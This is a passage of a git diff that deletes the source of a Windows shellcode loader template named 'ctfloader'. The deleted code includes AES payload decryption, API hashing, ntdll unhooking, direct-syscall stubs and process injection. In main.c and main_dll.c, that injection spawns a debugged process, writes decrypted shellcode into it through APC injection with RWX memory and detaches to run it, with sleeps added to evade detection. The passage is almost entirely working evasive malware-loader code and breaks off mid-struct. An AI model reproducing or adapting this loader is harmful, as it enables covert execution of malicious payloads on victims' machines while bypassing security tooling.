16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[18]; - s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[19]; - // round 5 - t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[20]; - t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[21]; - t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[22]; - t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[23]; - // round 6 - s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[24]; - s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[25]; - s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[26]; - s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[27]; - // round 7 - t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[28]; - t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[29]; - t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[30]; - t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[31]; - // round 8 - s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[32]; - s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[33]; - s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[34]; - s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[35]; - // round 9 - t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[36]; - t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[37]; - t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[38]; - t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[39]; - - // Final round 10 - s0 = (Td4[(t0 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t1 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[40]; - s1 = (Td4[(t1 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t2 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[41]; - s2 = (Td4[(t2 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t3 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[42]; - s3 = (Td4[(t3 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t0 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[43]; - - // Map the decrypted state to a byte array block - PUTU32(out_data + 0, s0 ^ ctx->iv[0]); - PUTU32(out_data + 4, s1 ^ ctx->iv[1]); - PUTU32(out_data + 8, s2 ^ ctx->iv[2]); - PUTU32(out_data + 12, s3 ^ ctx->iv[3]); - - ctx->iv[0] = temp[0]; - ctx->iv[1] = temp[1]; - ctx->iv[2] = temp[2]; - ctx->iv[3] = temp[3]; -} - -void AES_DecryptBuffer(AES_CTX* ctx, const unsigned char* in_data, unsigned char* out_data, size_t length) { - // Ensure the input length is a multiple of AES_BLOCK_SIZE - if (length % AES_BLOCK_SIZE != 0) { - printf("[-] Error: Input length must be a multiple of %d\n", AES_BLOCK_SIZE); - return; - } - - // Process each block - for (size_t i = 0; i < length; i += AES_BLOCK_SIZE) { - AES_Decrypt(ctx, in_data + i, out_data + i); - } -} - -#endif diff --git a/Windows/templates/stageless/Makefile b/Windows/templates/stageless/Makefile deleted file mode 100644 index b4c58da..0000000 --- a/Windows/templates/stageless/Makefile +++ /dev/null @@ -1,85 +0,0 @@ -############################################################################### -# Makefile for Clang (MinGW) on Windows -# DO NOT MODIFY THIS FILE UNLESS YOU KNOW WHAT YOU ARE DOING -############################################################################### - -# If on Windows/MSYS2, you might have "x86_64-w64-mingw32-clang" -CLANG := C:\msys64\mingw64\bin\clang - -# Build format selector -# EXE is the default so existing scripts continue to work unchanged. -# ----------------------------------------------------------------------------- -FORMAT ?= EXE # { EXE | DLL } - -# ----------------------------------------------------------------------------- -# 3. Source files -# ----------------------------------------------------------------------------- -COMMON_SRCS := \ - api_hashing.c \ - inject.c \ - unhook.c \ - whispers.c - -ifeq ($(FORMAT),DLL) - MAIN_SRC := main_dll.c - TARGET := ctfloader.dll -else - MAIN_SRC := main.c - TARGET := ctfloader.exe -endif - -C_SRCS := $(COMMON_SRCS) $(MAIN_SRC) -C_OBJS := $(C_SRCS:.c=.o) - -# ----------------------------------------------------------------------------- -# 4. Assembly helper (Whispers) -# ----------------------------------------------------------------------------- -ASM_SRC := whispers-asm.x64.asm -ASM_OBJ := whispers-asm.o -ASFLAGS := -f win64 - -# ----------------------------------------------------------------------------- -# 5. Flags -# ----------------------------------------------------------------------------- -CFLAGS_BASE := -O2 -Wall -w -static -LDFLAGS := -Wl,--disable-auto-import -s -LIBS := -lwinhttp -lntdll - -# DLL nuances: strip -static and add /shared linker options -ifeq ($(FORMAT),DLL) - CFLAGS := $(filter-out -static,$(CFLAGS_BASE)) -DCTF_AS_DLL - LDFLAGS += -shared -Wl,--out-implib,libctfloader.a -else - CFLAGS := $(CFLAGS_BASE) -endif - -# ----------------------------------------------------------------------------- -# 6. Phony targets -# ----------------------------------------------------------------------------- -.PHONY: all exe dll clean - -all: $(TARGET) - -exe: - $(MAKE) FORMAT=EXE - -dll: - $(MAKE) FORMAT=DLL - -# ----------------------------------------------------------------------------- -# 7. Linking & compilation rules -# ----------------------------------------------------------------------------- -$(TARGET): $(C_OBJS) $(ASM_OBJ) - $(CLANG) $(CFLAGS) -o $@ $^ $(LDFLAGS) $(LIBS) - -%.o: %.c - $(CLANG) $(CFLAGS) -c $< -o $@ - -$(ASM_OBJ): $(ASM_SRC) - nasm $(ASFLAGS) $< -o $@ - -# ----------------------------------------------------------------------------- -# 8. House‑keeping -# ----------------------------------------------------------------------------- -clean: - rm -f *.o *.obj $(TARGET) libctfloader.a \ No newline at end of file diff --git a/Windows/templates/stageless/api_hashing.c b/Windows/templates/stageless/api_hashing.c deleted file mode 100644 index 7398c33..0000000 --- a/Windows/templates/stageless/api_hashing.c +++ /dev/null @@ -1,104 +0,0 @@ -/* - - Authors: - @ MaldevAcademy - https://maldevacademy.com - - @ VX-Underground - https://vx-underground.org - -*/ -#include -#include - -#include "structs.h" -#include "functions.h" - -DWORD HashStringDjb2A(PCHAR String) -{ - ULONG Hash = INITIAL_HASH; - INT c; - - while (c = *String++) - Hash = ((Hash << INITIAL_SEED) + Hash) + c; - - return Hash; -} - -FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash) { - - if (hModule == NULL || dwApiNameHash == NULL) - return NULL; - - PBYTE pBase = (PBYTE)hModule; - - PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase; - if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE) - return NULL; - - PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew); - if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE) - return NULL; - - IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader; - - PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); - - - PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames); - PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions); - PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals); - - for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) { - CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]); - PVOID pFunctionAddress = (PVOID)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]); - - // Hashing every function name pFunctionName - // If both hashes are equal then we found the function we want - if (dwApiNameHash == HASHA(pFunctionName)) { - return pFunctionAddress; - } - } - - return NULL; -} - -HMODULE GetModuleHandleH(DWORD dwModuleNameHash) { - - if (dwModuleNameHash == NULL) - return NULL; - -#ifdef _WIN64 - PPEB pPeb = (PEB*)(__readgsqword(0x60)); -#elif _WIN32 - PPEB pPeb = (PEB*)(__readfsdword(0x30)); -#endif - - PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->Ldr); - PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink); - - while (pDte) { - - if (pDte->FullDllName.Length != NULL && pDte->FullDllName.Length < MAX_PATH) { - - // converting `FullDllName.Buffer` to upper case string - CHAR UpperCaseDllName[MAX_PATH]; - - DWORD i = 0; - while (pDte->FullDllName.Buffer[i]) { - UpperCaseDllName[i] = (CHAR)toupper(pDte->FullDllName.Buffer[i]); - i++; - } - UpperCaseDllName[i] = '\0'; - - // hashing `UpperCaseDllName` and comparing the hash value to that's of the input `dwModuleNameHash` - if (HASHA(UpperCaseDllName) == dwModuleNameHash) - return pDte->Reserved2[0]; - - } - else { - break; - } - - pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte); - } - - return NULL; -} - diff --git a/Windows/templates/stageless/functions.h b/Windows/templates/stageless/functions.h deleted file mode 100644 index 61ad5a0..0000000 --- a/Windows/templates/stageless/functions.h +++ /dev/null @@ -1,19 +0,0 @@ -#pragma once -#include - -// API Hashing Part -#define HASHA(API) (HashStringDjb2A((PCHAR) API)) -#define INITIAL_HASH #-INITIAL_HASH_VALUE-# -#define INITIAL_SEED #-INITIAL_SEED_VALUE-# - -BOOL GetContent(OUT PBYTE* pPayload, OUT SIZE_T* sSizeOfPayload); -BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread); -BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress); -HMODULE GetModuleHandleH(DWORD dwModuleNameHash); -FARPROC GetProcAddressH(HMODULE moduleHandle, DWORD hash); - -BOOL Unhook(LPVOID module); -LPVOID MapNtdll(); - -typedef BOOL (WINAPI* cCPA)(LPCSTR lpApplicationName,LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags, LPVOID lpEnvironment,LPCSTR lpCurrentDirectory,LPSTARTUPINFOA lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation); -typedef BOOL (WINAPI* cDAPS)(DWORD dwProcessId); \ No newline at end of file diff --git a/Windows/templates/stageless/inject.c b/Windows/templates/stageless/inject.c deleted file mode 100644 index 89eb7d2..0000000 --- a/Windows/templates/stageless/inject.c +++ /dev/null @@ -1,97 +0,0 @@ -/* - - Author: @ MaldevAcademy - https://maldevacademy.com - -*/ - -#include -#include -#include - -#include "functions.h" -#include "whispers.h" - -BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread) { - - CHAR lpPath[MAX_PATH * 2]; - CHAR WnDr[MAX_PATH]; - - STARTUPINFO Si = { 0 }; - PROCESS_INFORMATION Pi = { 0 }; - - RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO)); - RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION)); - - Si.cb = sizeof(STARTUPINFO); - - if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) - return FALSE; - - // Creating the target process path - sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName); - - // API Hashing - cCPA cCPAu = (cCPA) GetProcAddressH(GetModuleHandleH(#-KERNEL32_VALUE-#), #-CREATEPROCESSA_VALUE-#); - - Sleep(15000); - if(!cCPAu( - NULL, - lpPath, - NULL, - NULL, - FALSE, - DEBUG_PROCESS, // Instead of CREATE_SUSPENDED - NULL, - NULL, - &Si, - &Pi)) { - - return FALSE; - } - - - // Filling up the OUTPUT parameter with CreateProcessA's output - *dwProcessId = Pi.dwProcessId; - *hProcess = Pi.hProcess; - *hThread = Pi.hThread; - - Sleep(5000); - return TRUE; -} - -BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) { - - SIZE_T sNumberOfBytesWritten = 0, - sSize = sSizeOfShellcode; - ULONG uOldProtection = 0; - NTSTATUS STATUS = 0x00; - - if ((STATUS = NTAVM(hProcess, ppAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) { - - //printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS); - return FALSE; - } - - ////printf("[i] Allocated Memory At : 0x%p \n", *ppAddress); - - if ((STATUS = NTWVM(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sSizeOfShellcode) { - - //printf("[!] NtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS); - return FALSE; - } - - //printf("[+] Successfully Written %d Bytes\n", sNumberOfBytesWritten); - - - Sleep(2500); - if ((STATUS = NTPVM(hProcess, ppAddress, &sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) { - - //printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS); - return FALSE; - } - - //printf("[+] Successfully changed memory region permission to RWX!\n"); - - return TRUE; - -} \ No newline at end of file diff --git a/Windows/templates/stageless/main.c b/Windows/templates/stageless/main.c deleted file mode 100644 index 4fa1909..0000000 --- a/Windows/templates/stageless/main.c +++ /dev/null @@ -1,101 +0,0 @@ -#include -#include - -#include "whispers.h" -#include "functions.h" -#include "AES_128_CBC.h" - -#define TARGET_PROCESS "#-TARGET_PROCESS-#" - - -uint8_t aes_k[16] = { #-KEY_VALUE-# }; -uint8_t aes_i[16] = { #-IV_VALUE-# }; - - -unsigned char payload[] = { - #-PAYLOAD_VALUE-# -}; - -int main() { - - SIZE_T sEncPayload = sizeof(payload); - PVOID pClearText = NULL, - pProcess = NULL; - DWORD dwSizeOfClearText = 0, - dwOldProtect = 0, - dwProcessId = 0; - AES_CTX ctx; - - HANDLE hThread = NULL, - hProcess = NULL; - - NTSTATUS STATUS = 0x00; - - - //printf("[+] Un-hooking Ntdll \n"); - LPVOID nt = MapNtdll(); - if (!nt) - return -1; - - if (!Unhook(nt)) - return -1; - - Sleep(500); - - //printf("[+] PID: %d\n", GetCurrentProcessId()); - //printf("[+] Got the content at position: 0x%p with size of %zu\n", &payload, sEncPayload); - - // Decryption routine - //printf("[i] Starting the decryption...\n"); - - Sleep(500); - // Allocating memory to store the decrypted payload inside of pClearText - pClearText = (PBYTE)malloc(sEncPayload); - AES_DecryptInit(&ctx, aes_k, aes_i); - AES_DecryptBuffer(&ctx, &payload, pClearText, sEncPayload); - - //printf("\t[+] Payload decrypted at postion: 0x%p with size of %zu\n", pClearText, sEncPayload); - - Sleep(1500); - //printf("[i] Creating suspended process..\n"); - // Creating a suspeneded process now - if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) { - - //printf("[-] Failed to create suspended process!\n"); - return -1; - } - //printf("[+] Process created with PID: %d\n", dwProcessId); - - Sleep(2500); - //printf("[i] Injecting the shellcode into the process..\n"); - // Doing the APC Injection - if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) { - - return -1; - } - - Sleep(1500); - //printf("[i] Running the shellcode via NtQueueApcThread..\n"); - // Running the thread via QueueAPCThread - if ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) { - - //printf("[-] NtQueueApcThrad failed!\n"); - return -1; - } - - // API Hashing - cDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#); - - //printf("[i] Position of DAPsu: 0x%p\n", cDAPSu); - - Sleep(1000); - // Stopping the debugging of the process, which launches the payload - cDAPSu(dwProcessId); - //printf("[+] Payload executed!\n"); - - CloseHandle(hThread); - CloseHandle(hProcess); - free(pClearText); - - return 0; -} \ No newline at end of file diff --git a/Windows/templates/stageless/main_dll.c b/Windows/templates/stageless/main_dll.c deleted file mode 100644 index f07dcea..0000000 --- a/Windows/templates/stageless/main_dll.c +++ /dev/null @@ -1,117 +0,0 @@ -#include -#include - -#include "whispers.h" -#include "functions.h" -#include "AES_128_CBC.h" - -#define TARGET_PROCESS "#-TARGET_PROCESS-#" - - -uint8_t aes_k[16] = { #-KEY_VALUE-# }; -uint8_t aes_i[16] = { #-IV_VALUE-# }; - - -unsigned char payload[] = { - #-PAYLOAD_VALUE-# -}; - - -extern __declspec(dllexport) int ctf() -{ - - SIZE_T sEncPayload = sizeof(payload); - PVOID pClearText = NULL, - pProcess = NULL; - DWORD dwSizeOfClearText = 0, - dwOldProtect = 0, - dwProcessId = 0; - AES_CTX ctx; - - HANDLE hThread = NULL, - hProcess = NULL; - - NTSTATUS STATUS = 0x00; - - - //printf("[+] Un-hooking Ntdll \n"); - LPVOID nt = MapNtdll(); - if (!nt) - return -1; - - if (!Unhook(nt)) - return -1; - - Sleep(500); - - //printf("[+] PID: %d\n", GetCurrentProcessId()); - //printf("[+] Got the content at position: 0x%p with size of %zu\n", &payload, sEncPayload); - - // Decryption routine - //printf("[i] Starting the decryption...\n"); - - Sleep(500); - // Allocating memory to store the decrypted payload inside of pClearText - pClearText = (PBYTE)malloc(sEncPayload); - AES_DecryptInit(&ctx, aes_k, aes_i); - AES_DecryptBuffer(&ctx, &payload, pClearText, sEncPayload); - - //printf("\t[+] Payload decrypted at postion: 0x%p with size of %zu\n", pClearText, sEncPayload); - - Sleep(1500); - //printf("[i] Creating suspended process..\n"); - // Creating a suspeneded process now - if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) { - - //printf("[-] Failed to create suspended process!\n"); - return -1; - } - //printf("[+] Process created with PID: %d\n", dwProcessId); - - Sleep(2500); - //printf("[i] Injecting the shellcode into the process..\n"); - // Doing the APC Injection - if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) { - - return -1; - } - - Sleep(1500); - //printf("[i] Running the shellcode via NtQueueApcThread..\n"); - // Running the thread via QueueAPCThread - if ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) { - - //printf("[-] NtQueueApcThrad failed!\n"); - return -1; - } - - // API Hashing - cDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#); - - //printf("[i] Position of DAPsu: 0x%p\n", cDAPSu); - - Sleep(1000); - // Stopping the debugging of the process, which launches the payload - cDAPSu(dwProcessId); - //printf("[+] Payload executed!\n"); - - CloseHandle(hThread); - CloseHandle(hProcess); - free(pClearText); - - return 0; - -} - -BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) -{ - switch (ul_reason_for_call) - { - case DLL_PROCESS_ATTACH: - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - case DLL_PROCESS_DETACH: - break; - } - return TRUE; -} diff --git a/Windows/templates/stageless/structs.h b/Windows/templates/stageless/structs.h deleted file mode 100644 index fc0f531..0000000 --- a/Windows/templates/stageless/structs.h +++ /dev/null @@ -1,282 +0,0 @@ -#pragma once - -#include -#include "whispers.h" - -typedef PVOID PACTIVATION_CONTEXT; -typedef PVOID PRTL_USER_PROCESS_PARAMETERS; -typedef PVOID PAPI_SET_NAMESPACE; - -typedef struct _UNICODE_STRING { - USHORT Length; - USHORT MaximumLength; - PWSTR Buffer; -} UNICODE_STRING, * PUNICODE_STRING; - - -typedef struct _PEB_LDR_DATA { - ULONG Length; - ULONG Initialized; - PVOID SsHandle; - LIST_ENTRY InLoadOrderModuleList; - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; -} PEB_LDR_DATA, * PPEB_LDR_DATA; - -typedef struct _LDR_DATA_TABLE_ENTRY { - PVOID Reserved1[2]; - LIST_ENTRY InMemoryOrderLinks; - PVOID Reserved2[2]; - PVOID DllBase; - PVOID EntryPoint; - PVOID Reserved3; - UNICODE_STRING FullDllName; - BYTE Reserved4[8]; - PVOID Reserved5[3]; - union { - ULONG CheckSum; - PVOID Reserved6; - }; - ULONG TimeDateStamp; -} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; - - -typedef struct _PEB -{ - BOOLEAN InheritedAddressSpace; - BOOLEAN ReadImageFileExecOptions; - BOOLEAN BeingDebugged; - union - { - BOOLEAN BitField; - struct - { - BOOLEAN ImageUsesLargePages : 1; - BOOLEAN IsProtectedProcess : 1; - BOOLEAN IsImageDynamicallyRelocated : 1; - BOOLEAN SkipPatchingUser32Forwarders : 1; - BOOLEAN IsPackagedProcess : 1; - BOOLEAN IsAppContainer : 1; - BOOLEAN IsProtectedProcessLight : 1; - BOOLEAN IsLongPathAwareProcess : 1; - }; - }; - - HANDLE Mutant; - - PVOID ImageBaseAddress; - PPEB_LDR_DATA Ldr; - PRTL_USER_PROCESS_PARAMETERS ProcessParameters; - PVOID SubSystemData; - PVOID ProcessHeap; - PRTL_CRITICAL_SECTION FastPebLock; - PSLIST_HEADER AtlThunkSListPtr; - PVOID IFEOKey; - - union - { - ULONG CrossProcessFlags; - struct - { - ULONG ProcessInJob : 1; - ULONG ProcessInitializing : 1; - ULONG ProcessUsingVEH : 1; - ULONG ProcessUsingVCH : 1; - ULONG ProcessUsingFTH : 1; - ULONG ProcessPreviouslyThrottled : 1; - ULONG ProcessCurrentlyThrottled : 1; - ULONG ProcessImagesHotPatched : 1; // REDSTONE5 - ULONG ReservedBits0 : 24; - }; - }; - union - { - PVOID KernelCallbackTable; - PVOID UserSharedInfoPtr; - }; - ULONG SystemReserved; - ULONG AtlThunkSListPtr32; - PAPI_SET_NAMESPACE ApiSetMap; - ULONG TlsExpansionCounter; - PVOID TlsBitmap; - ULONG TlsBitmapBits[2]; - - PVOID ReadOnlySharedMemoryBase; - PVOID SharedData; // HotpatchInformation - PVOID* ReadOnlyStaticServerData; - - PVOID AnsiCodePageData; // PCPTABLEINFO - PVOID OemCodePageData; // PCPTABLEINFO - PVOID UnicodeCaseTableData; // PNLSTABLEINFO - - ULONG NumberOfProcessors; - ULONG NtGlobalFlag; - - ULARGE_INTEGER CriticalSectionTimeout; - SIZE_T HeapSegmentReserve; - SIZE_T HeapSegmentCommit; - SIZE_T HeapDeCommitTotalFreeThreshold; - SIZE_T HeapDeCommitFreeBlockThreshold; - - ULONG NumberOfHeaps; - ULONG MaximumNumberOfHeaps; - PVOID* ProcessHeaps; // PHEAP - - PVOID GdiSharedHandleTable; - PVOID ProcessStarterHelper; - ULONG GdiDCAttributeList; - - PRTL_CRITICAL_SECTION LoaderLock; - - ULONG OSMajorVersion; - ULONG OSMinorVersion; - USHORT OSBuildNumber; - USHORT OSCSDVersion; - ULONG OSPlatformId; - ULONG ImageSubsystem; - ULONG ImageSubsystemMajorVersion; - ULONG ImageSubsystemMinorVersion; - KAFFINITY ActiveProcessAffinityMask; - ULONG GdiHandleBuffer[60]; - PVOID PostProcessInitRoutine; - - PVOID TlsExpansionBitmap; - ULONG TlsExpansionBitmapBits[32]; - - ULONG SessionId; - - ULARGE_INTEGER AppCompatFlags; - ULARGE_INTEGER AppCompatFlagsUser; - PVOID pShimData; - PVOID AppCompatInfo; // APPCOMPAT_EXE_DATA - - UNICODE_STRING CSDVersion; - - PVOID ActivationContextData; // ACTIVATION_CONTEXT_DATA - PVOID ProcessAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP - PVOID SystemDefaultActivationContextData; // ACTIVATION_CONTEXT_DATA - PVOID SystemAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP - - SIZE_T MinimumStackCommit; - - PVOID SparePointers[2]; // 19H1 (previously FlsCallback to FlsHighIndex) - PVOID PatchLoaderData; - PVOID ChpeV2ProcessInfo; // _CHPEV2_PROCESS_INFO - - ULONG AppModelFeatureState; - ULONG SpareUlongs[2]; - - USHORT ActiveCodePage; - USHORT OemCodePage; - USHORT UseCaseMapping; - USHORT UnusedNlsField; - - PVOID WerRegistrationData; - PVOID WerShipAssertPtr; - - union - { - PVOID pContextData; // WIN7 - PVOID pUnused; // WIN10 - PVOID EcCodeBitMap; // WIN11 - }; - - PVOID pImageHeaderHash; - union - { - ULONG TracingFlags; - struct - { - ULONG HeapTracingEnabled : 1; - ULONG CritSecTracingEnabled : 1; - ULONG LibLoaderTracingEnabled : 1; - ULONG SpareTracingBits : 29; - }; - }; - ULONGLONG CsrServerReadOnlySharedMemoryBase; - PRTL_CRITICAL_SECTION TppWorkerpListLock; - LIST_ENTRY TppWorkerpList; - PVOID WaitOnAddressHashTable[128]; - PVOID TelemetryCoverageHeader; // REDSTONE3 - ULONG CloudFileFlags; - ULONG CloudFileDiagFlags; // REDSTONE4 - CHAR PlaceholderCompatibilityMode; - CHAR PlaceholderCompatibilityModeReserved[7]; - struct _LEAP_SECOND_DATA* LeapSecondData; // REDSTONE5 - union - { - ULONG LeapSecondFlags; - struct - { - ULONG SixtySecondEnabled : 1; - ULONG Reserved : 31; - }; - }; - ULONG NtGlobalFlag2; - ULONGLONG ExtendedFeatureDisableMask; // since WIN11 -} PEB, * PPEB; - -typedef struct _AES { - - PBYTE pPlainText; // base address of the plain text data - DWORD dwPlainSize; // size of the plain text data - - PBYTE pCipherText; // base address of the encrypted data - DWORD dwCipherSize; // size of it (this can change from dwPlainSize in case there was padding) - - PBYTE pKey; // the 32 byte key - PBYTE pIv; // the 16 byte iv - -} AES, * PAES; - -typedef LONG KPRIORITY; - - -typedef struct _SYSTEM_PROCESS_INFORMATION -{ - ULONG NextEntryOffset; - ULONG NumberOfThreads; - LARGE_INTEGER WorkingSetPrivateSize; //VISTA - ULONG HardFaultCount; //WIN7 - ULONG NumberOfThreadsHighWatermark; //WIN7 - ULONGLONG CycleTime; //WIN7 - LARGE_INTEGER CreateTime; - LARGE_INTEGER UserTime; - LARGE_INTEGER KernelTime; - UNICODE_STRING ImageName; - KPRIORITY BasePriority; - HANDLE UniqueProcessId; - HANDLE InheritedFromUniqueProcessId; - ULONG HandleCount; - ULONG SessionId; - ULONG_PTR PageDirectoryBase; - - // - // This part corresponds to VM_COUNTERS_EX. - // NOTE: *NOT* THE SAME AS VM_COUNTERS! - // - SIZE_T PeakVirtualSize; - SIZE_T VirtualSize; - ULONG PageFaultCount; - SIZE_T PeakWorkingSetSize; - SIZE_T WorkingSetSize; - SIZE_T QuotaPeakPagedPoolUsage; - SIZE_T QuotaPagedPoolUsage; - SIZE_T QuotaPeakNonPagedPoolUsage; - SIZE_T QuotaNonPagedPoolUsage; - SIZE_T PagefileUsage; - SIZE_T PeakPagefileUsage; - SIZE_T PrivatePageCount; - - // - // This part corresponds to IO_COUNTERS - // - LARGE_INTEGER ReadOperationCount; - 